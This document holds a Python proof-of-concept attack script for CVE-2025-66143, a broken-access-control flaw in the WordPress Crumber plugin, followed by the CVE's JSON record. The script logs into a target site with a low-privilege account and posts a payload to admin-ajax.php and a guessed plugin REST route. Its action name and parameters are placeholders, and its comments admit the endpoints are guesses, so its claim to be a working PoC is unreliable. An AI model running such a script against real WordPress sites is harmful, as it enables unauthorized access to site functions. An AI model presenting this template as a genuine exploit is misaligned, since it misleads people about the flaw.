CVE-2025-66143

# CVE-2025-66143 PoC - WordPress Crumber Plugin Broken Access Control # Affected: Crumber plugin <= 1.0.10 # Type: Missing Authorization import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_wp_session(): """Authenticate and get WordPress session""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } session.post(login_url, data=login_data) return session def exploit_broken_access_control(session): """ Exploit the missing authorization vulnerability in Crumber plugin. The plugin exposes sensitive functionality without proper capability checks. """ # Identify the vulnerable endpoint based on plugin behavior # Common WordPress AJAX endpoint pattern vulnerable_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php", f"{TARGET_URL}/wp-json/crumber/v1/" ] # Example payload - adjust action parameter based on actual vulnerable function exploit_data = { 'action': 'crumber_exploit_action', 'nonce': '', # Plugin may lack nonce verification 'parameter1': 'sensitive_data', 'parameter2': 'value' } for endpoint in vulnerable_endpoints: try: response = session.post(endpoint, data=exploit_data, timeout=10) if response.status_code == 200: print(f"[*] Request sent to: {endpoint}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response preview: {response.text[:500]}") return True except requests.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-66143 PoC - Crumber Plugin Broken Access Control") print("[*] Target: Crumber plugin <= 1.0.10") session = get_wp_session() if 'wordpress_logged_in' in str(session.cookies): print("[+] Successfully authenticated with low-privilege account") exploit_broken_access_control(session) else: print("[-] Authentication failed")

{"cve": {"id": "CVE-2025-66143", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:01.310", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Crumber crumber-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Crumber: from n/a through <= 1.0.10."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en merkulove Crumber crumber-elementor permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Crumber: desde n/a hasta &lt;= 1.0.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/crumber-elementor/vulnerability/wordpress-crumber-plugin-1-0-10-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}